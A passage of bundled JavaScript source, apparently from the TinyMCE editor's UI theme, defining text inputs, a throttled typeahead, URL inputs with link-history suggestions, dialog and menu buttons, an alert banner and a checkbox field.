        getRoot: input => {
          return parentElement(input.element);
        },
        invalidClass: 'tox-invalid',
        validator: {
          validate: input => {
            const v = Representing.getValue(input);
            const result = vl.validator(v);
            return Future.pure(result === true ? Result.value(v) : Result.error(result));
          },
          validateOnLoad: vl.validateOnLoad
        }
      })).toArray();
      const placeholder = spec.placeholder.fold(constant$1({}), p => ({ placeholder: providersBackstage.translate(p) }));
      const inputMode = spec.inputMode.fold(constant$1({}), mode => ({ inputmode: mode }));
      const inputAttributes = {
        ...placeholder,
        ...inputMode
      };
      const pField = FormField.parts.field({
        tag: spec.multiline === true ? 'textarea' : 'input',
        ...spec.data.map(data => ({ data })).getOr({}),
        inputAttributes,
        inputClasses: [spec.classname],
        inputBehaviours: derive$1(flatten([
          baseInputBehaviours,
          validatingBehaviours
        ])),
        selectOnFocus: false,
        factory: Input
      });
      const extraClasses = spec.flex ? ['tox-form__group--stretched'] : [];
      const extraClasses2 = extraClasses.concat(spec.maximized ? ['tox-form-group--maximize'] : []);
      const extraBehaviours = [
        Disabling.config({
          disabled: () => spec.disabled || providersBackstage.isDisabled(),
          onDisabled: comp => {
            FormField.getField(comp).each(Disabling.disable);
          },
          onEnabled: comp => {
            FormField.getField(comp).each(Disabling.enable);
          }
        }),
        receivingConfig()
      ];
      return renderFormFieldWith(pLabel, pField, extraClasses2, extraBehaviours);
    };
    const renderInput = (spec, providersBackstage, initialData) => renderTextField({
      name: spec.name,
      multiline: false,
      label: spec.label,
      inputMode: spec.inputMode,
      placeholder: spec.placeholder,
      flex: false,
      disabled: !spec.enabled,
      classname: 'tox-textfield',
      validation: Optional.none(),
      maximized: spec.maximized,
      data: initialData
    }, providersBackstage);
    const renderTextarea = (spec, providersBackstage, initialData) => renderTextField({
      name: spec.name,
      multiline: true,
      label: spec.label,
      inputMode: Optional.none(),
      placeholder: spec.placeholder,
      flex: true,
      disabled: !spec.enabled,
      classname: 'tox-textarea',
      validation: Optional.none(),
      maximized: spec.maximized,
      data: initialData
    }, providersBackstage);

    const events$6 = (streamConfig, streamState) => {
      const streams = streamConfig.stream.streams;
      const processor = streams.setup(streamConfig, streamState);
      return derive$2([
        run$1(streamConfig.event, processor),
        runOnDetached(() => streamState.cancel())
      ].concat(streamConfig.cancelEvent.map(e => [run$1(e, () => streamState.cancel())]).getOr([])));
    };

    var ActiveStreaming = /*#__PURE__*/Object.freeze({
        __proto__: null,
        events: events$6
    });

    const first = (fn, rate) => {
      let timer = null;
      const cancel = () => {
        if (!isNull(timer)) {
          clearTimeout(timer);
          timer = null;
        }
      };
      const throttle = (...args) => {
        if (isNull(timer)) {
          timer = setTimeout(() => {
            timer = null;
            fn.apply(null, args);
          }, rate);
        }
      };
      return {
        cancel,
        throttle
      };
    };
    const last = (fn, rate) => {
      let timer = null;
      const cancel = () => {
        if (!isNull(timer)) {
          clearTimeout(timer);
          timer = null;
        }
      };
      const throttle = (...args) => {
        cancel();
        timer = setTimeout(() => {
          timer = null;
          fn.apply(null, args);
        }, rate);
      };
      return {
        cancel,
        throttle
      };
    };

    const throttle = _config => {
      const state = Cell(null);
      const readState = () => ({ timer: state.get() !== null ? 'set' : 'unset' });
      const setTimer = t => {
        state.set(t);
      };
      const cancel = () => {
        const t = state.get();
        if (t !== null) {
          t.cancel();
        }
      };
      return nu$8({
        readState,
        setTimer,
        cancel
      });
    };
    const init$9 = spec => spec.stream.streams.state(spec);

    var StreamingState = /*#__PURE__*/Object.freeze({
        __proto__: null,
        throttle: throttle,
        init: init$9
    });

    const setup$c = (streamInfo, streamState) => {
      const sInfo = streamInfo.stream;
      const throttler = last(streamInfo.onStream, sInfo.delay);
      streamState.setTimer(throttler);
      return (component, simulatedEvent) => {
        throttler.throttle(component, simulatedEvent);
        if (sInfo.stopEvent) {
          simulatedEvent.stop();
        }
      };
    };
    var StreamingSchema = [
      requiredOf('stream', choose$1('mode', {
        throttle: [
          required$1('delay'),
          defaulted('stopEvent', true),
          output$1('streams', {
            setup: setup$c,
            state: throttle
          })
        ]
      })),
      defaulted('event', 'input'),
      option$3('cancelEvent'),
      onStrictHandler('onStream')
    ];

    const Streaming = create$4({
      fields: StreamingSchema,
      name: 'streaming',
      active: ActiveStreaming,
      state: StreamingState
    });

    const setValueFromItem = (model, input, item) => {
      const itemData = Representing.getValue(item);
      Representing.setValue(input, itemData);
      setCursorAtEnd(input);
    };
    const setSelectionOn = (input, f) => {
      const el = input.element;
      const value = get$6(el);
      const node = el.dom;
      if (get$f(el, 'type') !== 'number') {
        f(node, value);
      }
    };
    const setCursorAtEnd = input => {
      setSelectionOn(input, (node, value) => node.setSelectionRange(value.length, value.length));
    };
    const setSelectionToEnd = (input, startOffset) => {
      setSelectionOn(input, (node, value) => node.setSelectionRange(startOffset, value.length));
    };
    const attemptSelectOver = (model, input, item) => {
      if (!model.selectsOver) {
        return Optional.none();
      } else {
        const currentValue = Representing.getValue(input);
        const inputDisplay = model.getDisplayText(currentValue);
        const itemValue = Representing.getValue(item);
        const itemDisplay = model.getDisplayText(itemValue);
        return itemDisplay.indexOf(inputDisplay) === 0 ? Optional.some(() => {
          setValueFromItem(model, input, item);
          setSelectionToEnd(input, inputDisplay.length);
        }) : Optional.none();
      }
    };

    const itemExecute = constant$1('alloy.typeahead.itemexecute');

    const make$3 = (detail, components, spec, externals) => {
      const navigateList = (comp, simulatedEvent, highlighter) => {
        detail.previewing.set(false);
        const sandbox = Coupling.getCoupled(comp, 'sandbox');
        if (Sandboxing.isOpen(sandbox)) {
          Composing.getCurrent(sandbox).each(menu => {
            Highlighting.getHighlighted(menu).fold(() => {
              highlighter(menu);
            }, () => {
              dispatchEvent(sandbox, menu.element, 'keydown', simulatedEvent);
            });
          });
        } else {
          const onOpenSync = sandbox => {
            Composing.getCurrent(sandbox).each(highlighter);
          };
          open(detail, mapFetch(comp), comp, sandbox, externals, onOpenSync, HighlightOnOpen.HighlightMenuAndItem).get(noop);
        }
      };
      const focusBehaviours$1 = focusBehaviours(detail);
      const mapFetch = comp => tdata => tdata.map(data => {
        const menus = values(data.menus);
        const items = bind$3(menus, menu => filter$2(menu.items, item => item.type === 'item'));
        const repState = Representing.getState(comp);
        repState.update(map$2(items, item => item.data));
        return data;
      });
      const getActiveMenu = sandboxComp => Composing.getCurrent(sandboxComp);
      const typeaheadCustomEvents = 'typeaheadevents';
      const behaviours = [
        Focusing.config({}),
        Representing.config({
          onSetValue: detail.onSetValue,
          store: {
            mode: 'dataset',
            getDataKey: comp => get$6(comp.element),
            getFallbackEntry: itemString => ({
              value: itemString,
              meta: {}
            }),
            setValue: (comp, data) => {
              set$5(comp.element, detail.model.getDisplayText(data));
            },
            ...detail.initialData.map(d => wrap$1('initialValue', d)).getOr({})
          }
        }),
        Streaming.config({
          stream: {
            mode: 'throttle',
            delay: detail.responseTime,
            stopEvent: false
          },
          onStream: (component, _simulatedEvent) => {
            const sandbox = Coupling.getCoupled(component, 'sandbox');
            const focusInInput = Focusing.isFocused(component);
            if (focusInInput) {
              if (get$6(component.element).length >= detail.minChars) {
                const previousValue = getActiveMenu(sandbox).bind(activeMenu => Highlighting.getHighlighted(activeMenu).map(Representing.getValue));
                detail.previewing.set(true);
                const onOpenSync = _sandbox => {
                  getActiveMenu(sandbox).each(activeMenu => {
                    previousValue.fold(() => {
                      if (detail.model.selectsOver) {
                        Highlighting.highlightFirst(activeMenu);
                      }
                    }, pv => {
                      Highlighting.highlightBy(activeMenu, item => {
                        const itemData = Representing.getValue(item);
                        return itemData.value === pv.value;
                      });
                      Highlighting.getHighlighted(activeMenu).orThunk(() => {
                        Highlighting.highlightFirst(activeMenu);
                        return Optional.none();
                      });
                    });
                  });
                };
                open(detail, mapFetch(component), component, sandbox, externals, onOpenSync, HighlightOnOpen.HighlightJustMenu).get(noop);
              }
            }
          },
          cancelEvent: typeaheadCancel()
        }),
        Keying.config({
          mode: 'special',
          onDown: (comp, simulatedEvent) => {
            navigateList(comp, simulatedEvent, Highlighting.highlightFirst);
            return Optional.some(true);
          },
          onEscape: comp => {
            const sandbox = Coupling.getCoupled(comp, 'sandbox');
            if (Sandboxing.isOpen(sandbox)) {
              Sandboxing.close(sandbox);
              return Optional.some(true);
            }
            return Optional.none();
          },
          onUp: (comp, simulatedEvent) => {
            navigateList(comp, simulatedEvent, Highlighting.highlightLast);
            return Optional.some(true);
          },
          onEnter: comp => {
            const sandbox = Coupling.getCoupled(comp, 'sandbox');
            const sandboxIsOpen = Sandboxing.isOpen(sandbox);
            if (sandboxIsOpen && !detail.previewing.get()) {
              return getActiveMenu(sandbox).bind(activeMenu => Highlighting.getHighlighted(activeMenu)).map(item => {
                emitWith(comp, itemExecute(), { item });
                return true;
              });
            } else {
              const currentValue = Representing.getValue(comp);
              emit(comp, typeaheadCancel());
              detail.onExecute(sandbox, comp, currentValue);
              if (sandboxIsOpen) {
                Sandboxing.close(sandbox);
              }
              return Optional.some(true);
            }
          }
        }),
        Toggling.config({
          toggleClass: detail.markers.openClass,
          aria: { mode: 'expanded' }
        }),
        Coupling.config({
          others: {
            sandbox: hotspot => {
              return makeSandbox$1(detail, hotspot, {
                onOpen: () => Toggling.on(hotspot),
                onClose: () => Toggling.off(hotspot)
              });
            }
          }
        }),
        config(typeaheadCustomEvents, [
          runOnAttached(typeaheadComp => {
            detail.lazyTypeaheadComp.set(Optional.some(typeaheadComp));
          }),
          runOnDetached(_typeaheadComp => {
            detail.lazyTypeaheadComp.set(Optional.none());
          }),
          runOnExecute$1(comp => {
            const onOpenSync = noop;
            togglePopup(detail, mapFetch(comp), comp, externals, onOpenSync, HighlightOnOpen.HighlightMenuAndItem).get(noop);
          }),
          run$1(itemExecute(), (comp, se) => {
            const sandbox = Coupling.getCoupled(comp, 'sandbox');
            setValueFromItem(detail.model, comp, se.event.item);
            emit(comp, typeaheadCancel());
            detail.onItemExecute(comp, sandbox, se.event.item, Representing.getValue(comp));
            Sandboxing.close(sandbox);
            setCursorAtEnd(comp);
          })
        ].concat(detail.dismissOnBlur ? [run$1(postBlur(), typeahead => {
            const sandbox = Coupling.getCoupled(typeahead, 'sandbox');
            if (search(sandbox.element).isNone()) {
              Sandboxing.close(sandbox);
            }
          })] : []))
      ];
      const eventOrder = {
        [detachedFromDom()]: [
          Representing.name(),
          Streaming.name(),
          typeaheadCustomEvents
        ],
        ...detail.eventOrder
      };
      return {
        uid: detail.uid,
        dom: dom(deepMerge(detail, {
          inputAttributes: {
            'role': 'combobox',
            'aria-autocomplete': 'list',
            'aria-haspopup': 'true'
          }
        })),
        behaviours: {
          ...focusBehaviours$1,
          ...augment(detail.typeaheadBehaviours, behaviours)
        },
        eventOrder
      };
    };

    const schema$g = constant$1([
      option$3('lazySink'),
      required$1('fetch'),
      defaulted('minChars', 5),
      defaulted('responseTime', 1000),
      onHandler('onOpen'),
      defaulted('getHotspot', Optional.some),
      defaulted('getAnchorOverrides', constant$1({})),
      defaulted('layouts', Optional.none()),
      defaulted('eventOrder', {}),
      defaultedObjOf('model', {}, [
        defaulted('getDisplayText', itemData => itemData.meta !== undefined && itemData.meta.text !== undefined ? itemData.meta.text : itemData.value),
        defaulted('selectsOver', true),
        defaulted('populateFromBrowse', true)
      ]),
      onHandler('onSetValue'),
      onKeyboardHandler('onExecute'),
      onHandler('onItemExecute'),
      defaulted('inputClasses', []),
      defaulted('inputAttributes', {}),
      defaulted('inputStyles', {}),
      defaulted('matchWidth', true),
      defaulted('useMinWidth', false),
      defaulted('dismissOnBlur', true),
      markers$1(['openClass']),
      option$3('initialData'),
      field('typeaheadBehaviours', [
        Focusing,
        Representing,
        Streaming,
        Keying,
        Toggling,
        Coupling
      ]),
      customField('lazyTypeaheadComp', () => Cell(Optional.none)),
      customField('previewing', () => Cell(true))
    ].concat(schema$l()).concat(sandboxFields()));
    const parts$b = constant$1([external({
        schema: [tieredMenuMarkers()],
        name: 'menu',
        overrides: detail => {
          return {
            fakeFocus: true,
            onHighlightItem: (_tmenu, menu, item) => {
              if (!detail.previewing.get()) {
                detail.lazyTypeaheadComp.get().each(input => {
                  if (detail.model.populateFromBrowse) {
                    setValueFromItem(detail.model, input, item);
                  }
                });
              } else {
                detail.lazyTypeaheadComp.get().each(input => {
                  attemptSelectOver(detail.model, input, item).fold(() => {
                    if (detail.model.selectsOver) {
                      Highlighting.dehighlight(menu, item);
                      detail.previewing.set(true);
                    } else {
                      detail.previewing.set(false);
                    }
                  }, selectOverTextInInput => {
                    selectOverTextInInput();
                    detail.previewing.set(false);
                  });
                });
              }
            },
            onExecute: (_menu, item) => {
              return detail.lazyTypeaheadComp.get().map(typeahead => {
                emitWith(typeahead, itemExecute(), { item });
                return true;
              });
            },
            onHover: (menu, item) => {
              detail.previewing.set(false);
              detail.lazyTypeaheadComp.get().each(input => {
                if (detail.model.populateFromBrowse) {
                  setValueFromItem(detail.model, input, item);
                }
              });
            }
          };
        }
      })]);

    const Typeahead = composite({
      name: 'Typeahead',
      configFields: schema$g(),
      partFields: parts$b(),
      factory: make$3
    });

    const wrap = delegate => {
      const toCached = () => {
        return wrap(delegate.toCached());
      };
      const bindFuture = f => {
        return wrap(delegate.bind(resA => resA.fold(err => Future.pure(Result.error(err)), a => f(a))));
      };
      const bindResult = f => {
        return wrap(delegate.map(resA => resA.bind(f)));
      };
      const mapResult = f => {
        return wrap(delegate.map(resA => resA.map(f)));
      };
      const mapError = f => {
        return wrap(delegate.map(resA => resA.mapError(f)));
      };
      const foldResult = (whenError, whenValue) => {
        return delegate.map(res => res.fold(whenError, whenValue));
      };
      const withTimeout = (timeout, errorThunk) => {
        return wrap(Future.nu(callback => {
          let timedOut = false;
          const timer = setTimeout(() => {
            timedOut = true;
            callback(Result.error(errorThunk()));
          }, timeout);
          delegate.get(result => {
            if (!timedOut) {
              clearTimeout(timer);
              callback(result);
            }
          });
        }));
      };
      return {
        ...delegate,
        toCached,
        bindFuture,
        bindResult,
        mapResult,
        mapError,
        foldResult,
        withTimeout
      };
    };
    const nu$1 = worker => {
      return wrap(Future.nu(worker));
    };
    const value = value => {
      return wrap(Future.pure(Result.value(value)));
    };
    const error = error => {
      return wrap(Future.pure(Result.error(error)));
    };
    const fromResult = result => {
      return wrap(Future.pure(result));
    };
    const fromFuture = future => {
      return wrap(future.map(Result.value));
    };
    const fromPromise = promise => {
      return nu$1(completer => {
        promise.then(value => {
          completer(Result.value(value));
        }, error => {
          completer(Result.error(error));
        });
      });
    };
    const FutureResult = {
      nu: nu$1,
      wrap,
      pure: value,
      value,
      error,
      fromResult,
      fromFuture,
      fromPromise
    };

    const getMenuButtonApi = component => ({
      isEnabled: () => !Disabling.isDisabled(component),
      setEnabled: state => Disabling.set(component, !state),
      setActive: state => {
        const elm = component.element;
        if (state) {
          add$2(elm, 'tox-tbtn--enabled');
          set$9(elm, 'aria-pressed', true);
        } else {
          remove$2(elm, 'tox-tbtn--enabled');
          remove$7(elm, 'aria-pressed');
        }
      },
      isActive: () => has(component.element, 'tox-tbtn--enabled')
    });
    const renderMenuButton = (spec, prefix, backstage, role) => {
      return renderCommonDropdown({
        text: spec.text,
        icon: spec.icon,
        tooltip: spec.tooltip,
        searchable: spec.search.isSome(),
        role,
        fetch: (dropdownComp, callback) => {
          const fetchContext = { pattern: spec.search.isSome() ? getSearchPattern(dropdownComp) : '' };
          spec.fetch(items => {
            callback(build(items, ItemResponse$1.CLOSE_ON_EXECUTE, backstage, {
              isHorizontalMenu: false,
              search: spec.search
            }));
          }, fetchContext);
        },
        onSetup: spec.onSetup,
        getApi: getMenuButtonApi,
        columns: 1,
        presets: 'normal',
        classes: [],
        dropdownBehaviours: [Tabstopping.config({})]
      }, prefix, backstage.shared);
    };
    const getFetch = (items, getButton, backstage) => {
      const getMenuItemAction = item => api => {
        const newValue = !api.isActive();
        api.setActive(newValue);
        item.storage.set(newValue);
        backstage.shared.getSink().each(sink => {
          getButton().getOpt(sink).each(orig => {
            focus$3(orig.element);
            emitWith(orig, formActionEvent, {
              name: item.name,
              value: item.storage.get()
            });
          });
        });
      };
      const getMenuItemSetup = item => api => {
        api.setActive(item.storage.get());
      };
      return success => {
        success(map$2(items, item => {
          const text = item.text.fold(() => ({}), text => ({ text }));
          return {
            type: item.type,
            active: false,
            ...text,
            onAction: getMenuItemAction(item),
            onSetup: getMenuItemSetup(item)
          };
        }));
      };
    };

    const renderCommonSpec = (spec, actionOpt, extraBehaviours = [], dom, components, providersBackstage) => {
      const action = actionOpt.fold(() => ({}), action => ({ action }));
      const common = {
        buttonBehaviours: derive$1([
          DisablingConfigs.button(() => !spec.enabled || providersBackstage.isDisabled()),
          receivingConfig(),
          Tabstopping.config({}),
          config('button press', [
            preventDefault('click'),
            preventDefault('mousedown')
          ])
        ].concat(extraBehaviours)),
        eventOrder: {
          click: [
            'button press',
            'alloy.base.behaviour'
          ],
          mousedown: [
            'button press',
            'alloy.base.behaviour'
          ]
        },
        ...action
      };
      const domFinal = deepMerge(common, { dom });
      return deepMerge(domFinal, { components });
    };
    const renderIconButtonSpec = (spec, action, providersBackstage, extraBehaviours = []) => {
      const tooltipAttributes = spec.tooltip.map(tooltip => ({
        'aria-label': providersBackstage.translate(tooltip),
        'title': providersBackstage.translate(tooltip)
      })).getOr({});
      const dom = {
        tag: 'button',
        classes: ['tox-tbtn'],
        attributes: tooltipAttributes
      };
      const icon = spec.icon.map(iconName => renderIconFromPack(iconName, providersBackstage.icons));
      const components = componentRenderPipeline([icon]);
      return renderCommonSpec(spec, action, extraBehaviours, dom, components, providersBackstage);
    };
    const calculateClassesFromButtonType = buttonType => {
      switch (buttonType) {
      case 'primary':
        return ['tox-button'];
      case 'toolbar':
        return ['tox-tbtn'];
      case 'secondary':
      default:
        return [
          'tox-button',
          'tox-button--secondary'
        ];
      }
    };
    const renderButtonSpec = (spec, action, providersBackstage, extraBehaviours = [], extraClasses = []) => {
      const translatedText = providersBackstage.translate(spec.text);
      const icon = spec.icon.map(iconName => renderIconFromPack(iconName, providersBackstage.icons));
      const components = [icon.getOrThunk(() => text$2(translatedText))];
      const buttonType = spec.buttonType.getOr(!spec.primary && !spec.borderless ? 'secondary' : 'primary');
      const baseClasses = calculateClassesFromButtonType(buttonType);
      const classes = [
        ...baseClasses,
        ...icon.isSome() ? ['tox-button--icon'] : [],
        ...spec.borderless ? ['tox-button--naked'] : [],
        ...extraClasses
      ];
      const dom = {
        tag: 'button',
        classes,
        attributes: { title: translatedText }
      };
      return renderCommonSpec(spec, action, extraBehaviours, dom, components, providersBackstage);
    };
    const renderButton = (spec, action, providersBackstage, extraBehaviours = [], extraClasses = []) => {
      const buttonSpec = renderButtonSpec(spec, Optional.some(action), providersBackstage, extraBehaviours, extraClasses);
      return Button.sketch(buttonSpec);
    };
    const getAction = (name, buttonType) => comp => {
      if (buttonType === 'custom') {
        emitWith(comp, formActionEvent, {
          name,
          value: {}
        });
      } else if (buttonType === 'submit') {
        emit(comp, formSubmitEvent);
      } else if (buttonType === 'cancel') {
        emit(comp, formCancelEvent);
      } else {
        console.error('Unknown button type: ', buttonType);
      }
    };
    const isMenuFooterButtonSpec = (spec, buttonType) => buttonType === 'menu';
    const isNormalFooterButtonSpec = (spec, buttonType) => buttonType === 'custom' || buttonType === 'cancel' || buttonType === 'submit';
    const renderFooterButton = (spec, buttonType, backstage) => {
      if (isMenuFooterButtonSpec(spec, buttonType)) {
        const getButton = () => memButton;
        const menuButtonSpec = spec;
        const fixedSpec = {
          ...spec,
          type: 'menubutton',
          search: Optional.none(),
          onSetup: api => {
            api.setEnabled(spec.enabled);
            return noop;
          },
          fetch: getFetch(menuButtonSpec.items, getButton, backstage)
        };
        const memButton = record(renderMenuButton(fixedSpec, 'tox-tbtn', backstage, Optional.none()));
        return memButton.asSpec();
      } else if (isNormalFooterButtonSpec(spec, buttonType)) {
        const action = getAction(spec.name, buttonType);
        const buttonSpec = {
          ...spec,
          borderless: false
        };
        return renderButton(buttonSpec, action, backstage.shared.providers, []);
      } else {
        console.error('Unknown footer button type: ', buttonType);
        throw new Error('Unknown footer button type');
      }
    };
    const renderDialogButton = (spec, providersBackstage) => {
      const action = getAction(spec.name, 'custom');
      return renderFormField(Optional.none(), FormField.parts.field({
        factory: Button,
        ...renderButtonSpec(spec, Optional.some(action), providersBackstage, [
          RepresentingConfigs.memory(''),
          ComposingConfigs.self()
        ])
      }));
    };

    const separator$1 = { type: 'separator' };
    const toMenuItem = target => ({
      type: 'menuitem',
      value: target.url,
      text: target.title,
      meta: { attach: target.attach },
      onAction: noop
    });
    const staticMenuItem = (title, url) => ({
      type: 'menuitem',
      value: url,
      text: title,
      meta: { attach: undefined },
      onAction: noop
    });
    const toMenuItems = targets => map$2(targets, toMenuItem);
    const filterLinkTargets = (type, targets) => filter$2(targets, target => target.type === type);
    const filteredTargets = (type, targets) => toMenuItems(filterLinkTargets(type, targets));
    const headerTargets = linkInfo => filteredTargets('header', linkInfo.targets);
    const anchorTargets = linkInfo => filteredTargets('anchor', linkInfo.targets);
    const anchorTargetTop = linkInfo => Optional.from(linkInfo.anchorTop).map(url => staticMenuItem('<top>', url)).toArray();
    const anchorTargetBottom = linkInfo => Optional.from(linkInfo.anchorBottom).map(url => staticMenuItem('<bottom>', url)).toArray();
    const historyTargets = history => map$2(history, url => staticMenuItem(url, url));
    const joinMenuLists = items => {
      return foldl(items, (a, b) => {
        const bothEmpty = a.length === 0 || b.length === 0;
        return bothEmpty ? a.concat(b) : a.concat(separator$1, b);
      }, []);
    };
    const filterByQuery = (term, menuItems) => {
      const lowerCaseTerm = term.toLowerCase();
      return filter$2(menuItems, item => {
        var _a;
        const text = item.meta !== undefined && item.meta.text !== undefined ? item.meta.text : item.text;
        const value = (_a = item.value) !== null && _a !== void 0 ? _a : '';
        return contains$1(text.toLowerCase(), lowerCaseTerm) || contains$1(value.toLowerCase(), lowerCaseTerm);
      });
    };

    const getItems = (fileType, input, urlBackstage) => {
      const urlInputValue = Representing.getValue(input);
      const term = urlInputValue.meta.text !== undefined ? urlInputValue.meta.text : urlInputValue.value;
      const info = urlBackstage.getLinkInformation();
      return info.fold(() => [], linkInfo => {
        const history = filterByQuery(term, historyTargets(urlBackstage.getHistory(fileType)));
        return fileType === 'file' ? joinMenuLists([
          history,
          filterByQuery(term, headerTargets(linkInfo)),
          filterByQuery(term, flatten([
            anchorTargetTop(linkInfo),
            anchorTargets(linkInfo),
            anchorTargetBottom(linkInfo)
          ]))
        ]) : history;
      });
    };
    const errorId = generate$6('aria-invalid');
    const renderUrlInput = (spec, backstage, urlBackstage, initialData) => {
      const providersBackstage = backstage.shared.providers;
      const updateHistory = component => {
        const urlEntry = Representing.getValue(component);
        urlBackstage.addToHistory(urlEntry.value, spec.filetype);
      };
      const typeaheadSpec = {
        ...initialData.map(initialData => ({ initialData })).getOr({}),
        dismissOnBlur: true,
        inputClasses: ['tox-textfield'],
        sandboxClasses: ['tox-dialog__popups'],
        inputAttributes: {
          'aria-errormessage': errorId,
          'type': 'url'
        },
        minChars: 0,
        responseTime: 0,
        fetch: input => {
          const items = getItems(spec.filetype, input, urlBackstage);
          const tdata = build(items, ItemResponse$1.BUBBLE_TO_SANDBOX, backstage, {
            isHorizontalMenu: false,
            search: Optional.none()
          });
          return Future.pure(tdata);
        },
        getHotspot: comp => memUrlBox.getOpt(comp),
        onSetValue: (comp, _newValue) => {
          if (comp.hasConfigured(Invalidating)) {
            Invalidating.run(comp).get(noop);
          }
        },
        typeaheadBehaviours: derive$1([
          ...urlBackstage.getValidationHandler().map(handler => Invalidating.config({
            getRoot: comp => parentElement(comp.element),
            invalidClass: 'tox-control-wrap--status-invalid',
            notify: {
              onInvalid: (comp, err) => {
                memInvalidIcon.getOpt(comp).each(invalidComp => {
                  set$9(invalidComp.element, 'title', providersBackstage.translate(err));
                });
              }
            },
            validator: {
              validate: input => {
                const urlEntry = Representing.getValue(input);
                return FutureResult.nu(completer => {
                  handler({
                    type: spec.filetype,
                    url: urlEntry.value
                  }, validation => {
                    if (validation.status === 'invalid') {
                      const err = Result.error(validation.message);
                      completer(err);
                    } else {
                      const val = Result.value(validation.message);
                      completer(val);
                    }
                  });
                });
              },
              validateOnLoad: false
            }
          })).toArray(),
          Disabling.config({ disabled: () => !spec.enabled || providersBackstage.isDisabled() }),
          Tabstopping.config({}),
          config('urlinput-events', [
            run$1(input(), comp => {
              const currentValue = get$6(comp.element);
              const trimmedValue = currentValue.trim();
              if (trimmedValue !== currentValue) {
                set$5(comp.element, trimmedValue);
              }
              if (spec.filetype === 'file') {
                emitWith(comp, formChangeEvent, { name: spec.name });
              }
            }),
            run$1(change(), comp => {
              emitWith(comp, formChangeEvent, { name: spec.name });
              updateHistory(comp);
            }),
            run$1(postPaste(), comp => {
              emitWith(comp, formChangeEvent, { name: spec.name });
              updateHistory(comp);
            })
          ])
        ]),
        eventOrder: {
          [input()]: [
            'streaming',
            'urlinput-events',
            'invalidating'
          ]
        },
        model: {
          getDisplayText: itemData => itemData.value,
          selectsOver: false,
          populateFromBrowse: false
        },
        markers: { openClass: 'tox-textfield--popup-open' },
        lazySink: backstage.shared.getSink,
        parts: { menu: part(false, 1, 'normal') },
        onExecute: (_menu, component, _entry) => {
          emitWith(component, formSubmitEvent, {});
        },
        onItemExecute: (typeahead, _sandbox, _item, _value) => {
          updateHistory(typeahead);
          emitWith(typeahead, formChangeEvent, { name: spec.name });
        }
      };
      const pField = FormField.parts.field({
        ...typeaheadSpec,
        factory: Typeahead
      });
      const pLabel = spec.label.map(label => renderLabel$2(label, providersBackstage));
      const makeIcon = (name, errId, icon = name, label = name) => render$3(icon, {
        tag: 'div',
        classes: [
          'tox-icon',
          'tox-control-wrap__status-icon-' + name
        ],
        attributes: {
          'title': providersBackstage.translate(label),
          'aria-live': 'polite',
          ...errId.fold(() => ({}), id => ({ id }))
        }
      }, providersBackstage.icons);
      const memInvalidIcon = record(makeIcon('invalid', Optional.some(errorId), 'warning'));
      const memStatus = record({
        dom: {
          tag: 'div',
          classes: ['tox-control-wrap__status-icon-wrap']
        },
        components: [memInvalidIcon.asSpec()]
      });
      const optUrlPicker = urlBackstage.getUrlPicker(spec.filetype);
      const browseUrlEvent = generate$6('browser.url.event');
      const memUrlBox = record({
        dom: {
          tag: 'div',
          classes: ['tox-control-wrap']
        },
        components: [
          pField,
          memStatus.asSpec()
        ],
        behaviours: derive$1([Disabling.config({ disabled: () => !spec.enabled || providersBackstage.isDisabled() })])
      });
      const memUrlPickerButton = record(renderButton({
        name: spec.name,
        icon: Optional.some('browse'),
        text: spec.label.getOr(''),
        enabled: spec.enabled,
        primary: false,
        buttonType: Optional.none(),
        borderless: true
      }, component => emit(component, browseUrlEvent), providersBackstage, [], ['tox-browse-url']));
      const controlHWrapper = () => ({
        dom: {
          tag: 'div',
          classes: ['tox-form__controls-h-stack']
        },
        components: flatten([
          [memUrlBox.asSpec()],
          optUrlPicker.map(() => memUrlPickerButton.asSpec()).toArray()
        ])
      });
      const openUrlPicker = comp => {
        Composing.getCurrent(comp).each(field => {
          const componentData = Representing.getValue(field);
          const urlData = {
            fieldname: spec.name,
            ...componentData
          };
          optUrlPicker.each(picker => {
            picker(urlData).get(chosenData => {
              Representing.setValue(field, chosenData);
              emitWith(comp, formChangeEvent, { name: spec.name });
            });
          });
        });
      };
      return FormField.sketch({
        dom: renderFormFieldDom(),
        components: pLabel.toArray().concat([controlHWrapper()]),
        fieldBehaviours: derive$1([
          Disabling.config({
            disabled: () => !spec.enabled || providersBackstage.isDisabled(),
            onDisabled: comp => {
              FormField.getField(comp).each(Disabling.disable);
              memUrlPickerButton.getOpt(comp).each(Disabling.disable);
            },
            onEnabled: comp => {
              FormField.getField(comp).each(Disabling.enable);
              memUrlPickerButton.getOpt(comp).each(Disabling.enable);
            }
          }),
          receivingConfig(),
          config('url-input-events', [run$1(browseUrlEvent, openUrlPicker)])
        ])
      });
    };

    const renderAlertBanner = (spec, providersBackstage) => Container.sketch({
      dom: {
        tag: 'div',
        attributes: { role: 'alert' },
        classes: [
          'tox-notification',
          'tox-notification--in',
          `tox-notification--${ spec.level }`
        ]
      },
      components: [
        {
          dom: {
            tag: 'div',
            classes: ['tox-notification__icon']
          },
          components: [Button.sketch({
              dom: {
                tag: 'button',
                classes: [
                  'tox-button',
                  'tox-button--naked',
                  'tox-button--icon'
                ],
                innerHtml: get$2(spec.icon, providersBackstage.icons),
                attributes: { title: providersBackstage.translate(spec.iconTooltip) }
              },
              action: comp => {
                emitWith(comp, formActionEvent, {
                  name: 'alert-banner',
                  value: spec.url
                });
              },
              buttonBehaviours: derive$1([addFocusableBehaviour()])
            })]
        },
        {
          dom: {
            tag: 'div',
            classes: ['tox-notification__body'],
            innerHtml: providersBackstage.translate(spec.text)
          }
        }
      ]
    });

    const set$1 = (element, status) => {
      element.dom.checked = status;
    };
    const get$1 = element => element.dom.checked;

    const renderCheckbox = (spec, providerBackstage, initialData) => {
      const toggleCheckboxHandler = comp => {
        comp.element.dom.click();
        return Optional.some(true);
      };
      const pField = FormField.parts.field({
        factory: { sketch: identity },
        dom: {
          tag: 'input',
          classes: ['tox-checkbox__input'],
          attributes: { type: 'checkbox' }
        },
        behaviours: derive$1([
          ComposingConfigs.self(),
          Disabling.config({ disabled: () => !spec.enabled || providerBackstage.isDisabled() }),
          Tabstopping.config({}),
          Focusing.config({}),
          RepresentingConfigs.withElement(initialData, get$1, set$1),
          Keying.config({
            mode: 'special',
            onEnter: toggleCheckboxHandler,
            onSpace: toggleCheckboxHandler,
            stopSpaceKeyup: true
          }),
          config('checkbox-events', [run$1(change(), (component, _) => {
              emitWith(component, formChangeEvent, { name: spec.name });
            })])
        ])
      });
      const pLabel = FormField.parts.label({
        dom: {
          tag: 'span',
          classes: ['tox-checkbox__label']
        },
